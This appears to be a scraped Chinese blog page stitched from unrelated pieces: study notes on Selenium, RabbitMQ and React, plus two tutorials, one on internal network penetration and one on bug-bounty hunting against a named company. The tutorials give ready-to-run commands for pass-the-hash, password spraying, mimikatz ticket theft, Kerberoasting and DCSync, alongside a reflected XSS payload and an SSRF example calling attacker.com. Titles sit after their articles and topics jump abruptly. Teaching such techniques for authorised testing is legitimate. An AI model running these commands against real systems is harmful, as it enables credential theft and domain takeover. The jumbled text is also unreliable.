【0310】接口自动化测试，py requests库调用方式。





【0311】UI自动化测试，通过py selenium库基于chrome驱动，以html元素进行定位。

```py
import time

from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.ie.service import Service

def start_chrome():
    # 创建设置
    options = Options()
    options.add_argument('--no-sandbox')
    options.add_experimental_option('detach', True)
    options.binary_location = r'C:\Program Files\Qoom Chrome\chrome.exe'
    # 创建并启动浏览器
    a1 = webdriver.Chrome(service=Service('chromedriver.exe'), options=options)
    return a1
a = start_chrome()
a.get('http://www.baidu.com')
# time.sleep(5)
# a.close()
# 最大化
a.maximize_window()
# 最小化
a.minimize_window()
```
新颖5 提升4 难度:简单 体系: 零乱


rabbitmq: 同步消息、异步消息的区别，rabbitmq安装、配置


生产者 => 交换机 => 消息队列 => 消费者


新颖: 新 提升: 5； 难度: 中等； 体系: 良好 
【0312】UI自动化测试  元素定位方式。


```py
# 定位1个元素
position1 = a.find_element(By.ID, 'main-wrapper')
# 列表形式
positions = a.find_elements(By.ID, 'main-wrapper11')
```
新颖: 低 提升: 3 难度: 中等； 体系: 零乱 时间: 一般



【0507】GITHUB上的react原理看完

应用

明确界定，拒绝内耗



【0225: 一个BUG找不出来，切换租户组件没有传参。参数定义有问题。这边确实有些热。ython ui自动化 + 前端+ redis】


【0502: 一个BUG找不出来，心里不得劲】

## 前言

上一篇文章聊了外网信息收集和漏洞挖掘，这篇接着讲拿到外网入口之后怎么做——内网渗透。

## 一、信息收集

进入内网第一步，不是急着打域控，而是把当前机器的信息摸清楚。

### 1.1 本地信息收集

```
# 网络信息
ipconfig /all
route print
arp -a

# 系统信息
systeminfo
whoami
net user

# 进程和服务
tasklist /svc
wmic service list brief

# 补丁信息
wmic qfe get Caption,Description,HotFixID,InstalledOn
```

重点关注：是否多网卡（意味着可以横向移动）、安装了哪些杀软、打了哪些补丁。

### 1.2 域环境探测

```
# 判断是否在域中
systeminfo | findstr /i "域"

# 查看域信息
net view /domain
nltest /dclist:域名
nltest /domain_trusts

# 查找域控
nslookup -type=SRV _ldap._tcp.dc._msdcs.域名
```

## 二、横向移动

拿到一台机器的权限后，目标是扩散到更多机器。

### 2.1 哈希传递（Pass-the-Hash）

在内网中，很多管理员在多台机器上用同一个密码。如果拿到了LM/NTLM哈希，可以直接用哈希登录其他机器。

```
# 使用 impacket 的 psexec
impacket-psexec 域名/用户名@目标IP -hashes LM哈希:NTLM哈希

# 使用 wmiexec
impacket-wmiexec 域名/用户名@目标IP -hashes LM哈希:NTLM哈希
```

### 2.2 喷洒密码（Password Spray）

用常见密码对多个用户进行尝试登录，注意不要短时间内对同一个用户尝试太多次，容易触发锁定策略。

```
# 使用 CrackMapExec
cme smb 192.168.1.0/24 -u users.txt -p passwords.txt --continue-on-success
```

### 2.3 KrbRelay / 票据传递

利用Kerberos协议的特性进行横向移动。

```
# mimikatz 导出票据
mimikatz "privilege::debug" "sekurlsa::tickets /export"

# 注入票据
mimikatz "kerberos::ptt 票据文件路径"
```

## 三、提权

### 3.1 内核漏洞提权

```
# 使用 Sherlock 或 Watson 扫描缺失的补丁
# 根据系统版本选择合适的EXP

# Windows Exploit Suggester
windows-exploit-suggester.py --database 2026-05-10-mssb.xls --systeminfo sysinfo.txt
```

### 3.2 服务漏洞

- 服务权限配置错误：可以修改服务的可执行文件路径
- AlwaysInstallElevated：MSI安装包以高权限运行
- 计划任务：替换计划任务执行的脚本

```
# 检查 AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

## 四、域权限提升

### 4.1 Kerberoasting

请求域中某个服务的TGS票据，离线破解服务账户密码。

```
# 使用 impacket 的 GetUserSPNs
impacket-GetUserSPNs -dc-ip 域控IP 域名/用户名:密码 -request

# 用 hashcat 离线破解
hashcat -m 13100 -a 0 kerberos.txt wordlist.txt
```

### 4.2 AS-REP Roasting

找到不需要Kerberos预认证的账户，直接请求TGT票据破解。

```
impacket-GetNPUsers -dc-ip 域控IP -no-pass 域名/用户名
```

### 4.3 DCSync

如果拥有域管理员权限或相关权限，可以模拟域控请求账户哈希。

```
# 需要管理员权限
mimikatz "lsadump::dcsync /domain:域名 /user:目标用户名"
```

## 五、常见工具汇总

| 工具 | 用途 |
|------|------|
| mimikatz | 抓密码、票据操作 |
| impacket套件 | psexec, wmiexec, secretsdump |
| CrackMapExec | 内网批量探测 |
| BloodHound | 域信息可视化分析 |
| Nishang | PowerShell渗透框架 |
| Chisel / frp | 隧道搭建 |

## 六、总结

内网渗透的核心是信息收集和横向移动。外网入口只是第一步，真正决定能不能打到域控的，是你在内网中的操作。多了解AD域的结构和Kerberos协议的原理，会对内网渗透有很大帮助。

---

> 本文作者：**铁林** | 转载需注明出处

内网渗透基础：从入口点到域控

> 作者：**铁林** | 本文首发于 https://www.gzqblog.cyou

## 前言

在上一篇文章《渗透探索》中，我们聊了联想SRC的域名收集和基础信息收集。这篇文章继续深入，从信息收集到漏洞挖掘，讲一个完整的SRC实战流程。

## 一、信息收集

SRC漏洞挖掘的第一步永远是信息收集，信息收集的质量直接决定了你能挖到什么样的漏洞。

### 1.1 域名收集

常用的工具和平台：

- **FOFA / Shodan / Zoomeye**：搜索互联网资产，看目标开放了哪些服务
- **OneForAll**：子域名爆破工具，集成多种字典和接口
- **SecurityTrails**：通过DNS历史记录查找子域名
- **证书透明度（CT logs）**：crt.sh 可以查到目标的SSL证书历史，经常能发现隐蔽的子域名

实战命令：

```
# OneForAll 子域名收集
python oneforall.py --target lenovo.com run

# subfinder 轻量级子域名枚举
subfinder -d lenovo.com -o subs.txt

# httpx 验证存活
cat subs.txt | httpx -title -status-code -o alive.txt
```

### 1.2 端口与服务探测

拿到子域名列表后，需要探测哪些端口是开放的、运行着什么服务。

```
# naabu 快速端口扫描
naabu -list alive_subdomains.txt -top-ports 1000

# nmap 深度扫描
nmap -sV -sC -p 80,443,8080,8443 target.com
```

重点关注：管理后台（8080/8443）、API接口（/api、/graphql）、开发环境（dev、test、staging）。

## 二、漏洞挖掘方向

信息收集完成后，按照漏洞类型分方向挖掘。

### 2.1 信息泄露

这是SRC中最容易出洞的类别。

**常见位置：**
- JS文件中的接口地址和AccessKey
- GitHub泄露的配置文件
- S3/OSS 存储桶权限配置错误
- Swagger/API文档未授权访问
- .git/.svn 目录泄露

**检查命令：**

```
# JS文件提取URL
cat all_js.txt | grep -Eo 'https?://[^"\' ]+' | sort -u

# 目录扫描
dirsearch -u https://target.com -e php,asp,jsp,html
```

### 2.2 SQL注入

虽然现在SQL注入越来越少了，但在一些老旧系统或者边缘业务上仍然存在。

**检测方法：**
1. 手动测试：单引号、双引号、括号闭合
2. 工具测试：sqlmap

```
sqlmap -u "https://target.com/api/search?id=1" --batch --random-agent
```

注意：不要用sqlmap对线上业务进行高强度扫描，建议先手动确认存在注入再用sqlmap确认。

### 2.3 XSS（跨站脚本攻击）

XSS在SRC里通常评级不高（低危/中危），但在某些场景下可以升级为高危。

**反射型XSS：**
```
https://target.com/search?q=<script>alert(1)</script>
```

**存储型XSS：**
多发于评论、留言、个人信息编辑等有数据持久化的功能点。

**DOM型XSS：**
多发于前端使用innerHTML、document.write等操作的地方。

### 2.4 越权漏洞

越权是SRC的高频高危漏洞。

**水平越权：** 用户A可以操作用户B的数据
- 尝试修改URL中的ID参数：/api/user/info?id=123 -> 改成124

**垂直越权：** 普通用户可以访问管理员的功能
- 尝试直接访问管理接口：/admin/dashboard

### 2.5 SSRF（服务端请求伪造）

SSRF可以用于内网探测，严重时可导致RCE。

**常见场景：**
- URL参数：?url=http://internal-server
- 图片抓取：?img=http://attacker.com
- Webhook回调地址

## 三、漏洞报告撰写

挖到漏洞后，报告的撰写质量直接影响赏金金额。

**一份好的SRC报告应该包含：**

1. **漏洞标题**：简洁明了
2. **漏洞详情**：影响范围、漏洞类型、危害描述
3. **复现步骤**：访问链接、请求包、响应
4. **POC截图**：关键证据截图
5. **修复建议**：如参数过滤、权限校验等

## 四、实战小技巧

1. **关注边缘业务**：主站防御通常很强，边缘子站、老旧系统才是突破口
2. **JS文件是金矿**：F12看Network，抓JS文件，经常能找到隐藏接口
3. **API鉴权测试**：请求去掉Token或Cookie，看是否还能正常返回数据
4. **翻看历史记录**：通过Wayback Machine查看历史页面
5. **多处测试**：同一个漏洞点，可能在多个URL上都存在

## 五、总结

SRC漏洞挖掘没有捷径，信息收集越充分，出洞概率越大。初期可以从信息泄露和越权入手，这两个方向门槛相对较低但出洞率不低。随着经验积累，可以逐步深入到SSRF、RCE等高危漏洞的挖掘。

本文只是抛砖引玉，希望对初入SRC的朋友有所帮助。安全之路，共勉。

SRC漏洞挖掘实战：从信息收集到漏洞提交

这篇文章是用来讨论react原理与其用法之间的关系，主要目的是用来提升对react用法的熟练度。文章中的react原理部分参考https://7km.top/main/macro-structure#


# 基本概念
## 宏观包结构
1、基础包结构


react基础包。我理解的是项目中node_moudles中的react依赖。直接看代码也看不懂是什么，貌似和环境有关

![image.png](/static/img/e35933f0a968959f401586bc57c28166.image.webp)
![](https://www.gzqblog.cyou/static/img/0090f5a382e5617198587a979e93cba0.image.webp)
主要文件说明

![image.png](/static/img/74d9519941b18d361b67dbc366cab6ae.image.webp)


react-dom。react渲染器，像是实现react渲染浏览器dom元素的